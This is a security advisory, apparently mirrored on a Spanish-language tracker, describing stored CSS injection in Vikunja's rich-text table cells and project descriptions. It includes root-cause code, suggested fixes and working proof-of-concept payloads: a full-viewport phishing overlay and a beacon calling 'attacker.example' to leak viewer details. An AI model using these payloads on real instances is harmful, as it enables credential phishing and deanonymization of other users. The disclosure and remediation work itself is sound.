GHSA-P23M-CQ25-PC4J
Stored CSS injection in rich-text (TipTap) renderer via table-cell data-background-color
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-P23M-CQ25-PC4J divulgada · CVSS 4.6 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
An authenticated user with write access to a shared project can store a crafted table cell whose `data-background-color` attribute is interpolated, unsanitized, into an inline CSS `style` string. When any other user (including the project owner) opens the task or comment, arbitrary attacker-controlled CSS is applied in their browser. This enables a full-viewport fixed overlay (credential-phishing / UI redress on the trusted origin) and silent outbound requests via `background-image: url(...)` (forced request / beacon / viewer deanonymization), with no interaction beyond viewing. Confirmed on v2.7.0. This is CSS injection, not JavaScript execution. Discovered with AI-assisted source review and manually reproduced on an isolated self-hosted lab.
Details
Root cause
`frontend/src/components/input/editor/editorExtensions.ts`, the `CustomTableCell` extension (~lines 83-99):
backgroundColor: {
default: null,
parseHTML: (element) => element.getAttribute('data-background-color'), // raw, from stored HTML
renderHTML: (attributes) => {
return {
'data-background-color': attributes.backgroundColor,
style: `background-color: ${attributes.backgroundColor}`, // raw string interpolation
}
},
},Unlike other styling paths in the codebase, which use Vue object style bindings (one CSS property set at a time via CSSOM, e.g. `composables/useLabelStyles.ts`), this `renderHTML` returns a raw `style` string. ProseMirror's `DOMSerializer` applies it via `element.setAttribute('style', ...)`, which parses the entire `;`-delimited declaration list. A stored `data-background-color` containing `;` therefore injects additional CSS declarations.
The value originates from stored task/comment HTML. The backend stores rich-text HTML as-is and does not re-serialize it through the editor schema (bluemonday is only used in `pkg/notifications`), so a crafted attribute reaches other viewers unchanged.
Project descriptions are a second path to the same kind of CSS injection: `ProjectInfo.vue:16` renders the description with `v-html` after `DOMPurify.sanitize` with only `ADD_ATTR:['target']`, and DOMPurify's defaults keep `style` attributes (and form elements). That path is tracked as a separate finding.
Attacker model
Any authenticated user with write access to a shared project (direct share or team). The payload fires for every user with read access who opens the affected task/comment, including higher-privileged users / the project owner.
Impact
- Credential-phishing / UI redress: inject `position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483647;...` to cover the victim's viewport with attacker-styled content inside the trusted Vikunja origin.
- Silent outbound request / beacon: inject `background-image:url(//attacker.example/beacon)`; the victim's browser issues the request on render (forced request, timing/IP leak, deanonymization), no click required.
No JavaScript execution (inline CSS cannot run JS in modern browsers).
Suggested fix
Validate `backgroundColor` in both `parseHTML` and `renderHTML` (`editorExtensions.ts:93-96`): allowlist a color syntax and reject `;` (and anything else outside the grammar, such as `url(`). Reusing the project-description DOMPurify configuration is not a fix: its defaults keep `style`. The project-description path needs its own fix (`FORBID_ATTR:['style']` plus `FORBID_TAGS` for form elements).
Note
A separate `javascript:`-scheme link in stored rich text was also tested; it is correctly stripped by TipTap's link filter on render and is NOT exploitable. Reported here only to document it was checked.
Proof of concept
Environment: self-hosted Vikunja v2.7.0 (Docker), two accounts owned by the reporter. No public instance was tested.
Steps:
1. As a user with write access to a project, create a task and set its description to the following (the backend stores rich-text HTML verbatim, so this can be set via the API):
<table><tbody><tr><td data-background-color="red;position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483647;background:rgba(220,0,0,.55)">overlay</td></tr></tbody></table>(e.g. `PUT /api/v1/projects/{id}/tasks` to create the task, then `POST /api/v1/tasks/{id}` with `{"description": "...above..."}`.)
- As any user with read access to that project, open the task in the web UI.
Observed result on v2.7.0: the table cell's rendered `style` attribute becomes
`position: fixed; inset: 0px; width: 100vw; height: 100vh; z-index: 2147483647; background: rgba(220,0,0,.55)`,
and the cell's bounding box fills the entire viewport, overlaying the trusted Vikunja page. Every injected declaration is applied verbatim, confirming arbitrary CSS injection from a stored attribute.
Beacon variant: `data-background-color="red;background-image:url(//attacker.example/beacon)"` causes the viewer's browser to issue an outbound request on render (zero-click forced request / beacon).
The same sink is reachable via task comments as well as descriptions. A screenshot of the full-viewport overlay is available on request.
Impact
Stored CSS injection affecting every user who views a shared task or comment. An authenticated user with write access to a shared project can inject arbitrary CSS into other users' browsers (including the project owner / higher-privileged users), enabling a full-viewport credential-phishing overlay rendered on the trusted Vikunja origin, and zero-click forced outbound requests via `background-image:url(...)` (beacon / IP + timing leak / viewer deanonymization). This is CSS injection, not JavaScript execution.
Folded in: project description allows style and form injection (was GHSA-f4m3-c3q2-h5j4)
Second path to the same UI-redress outcome. `frontend/src/views/project/ProjectInfo.vue:16` is the only `v-html` in `frontend/src`; it renders `DOMPurify.sanitize(description, {ADD_ATTR: ['target']})` (`:63`). DOMPurify 3.4.16 defaults keep the `style` attribute and the `form`, `input`, `button`, `select` and `textarea` elements, including `action`. Desktop is partly mitigated by `form-action 'self'`; the web build has no CSP, so a fake form can post to any origin. Needs project write access; no XSS.
Fix: `FORBID_ATTR: ['style']` and `FORBID_TAGS` for the form elements in `ProjectInfo.vue`.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gocode.vikunja.io/api |
Sin parche | — | — | v0.24.6 afectada |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/go-vikunja/vikunja/security/advisories/GHSA-p23m-cq25-pc4jLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
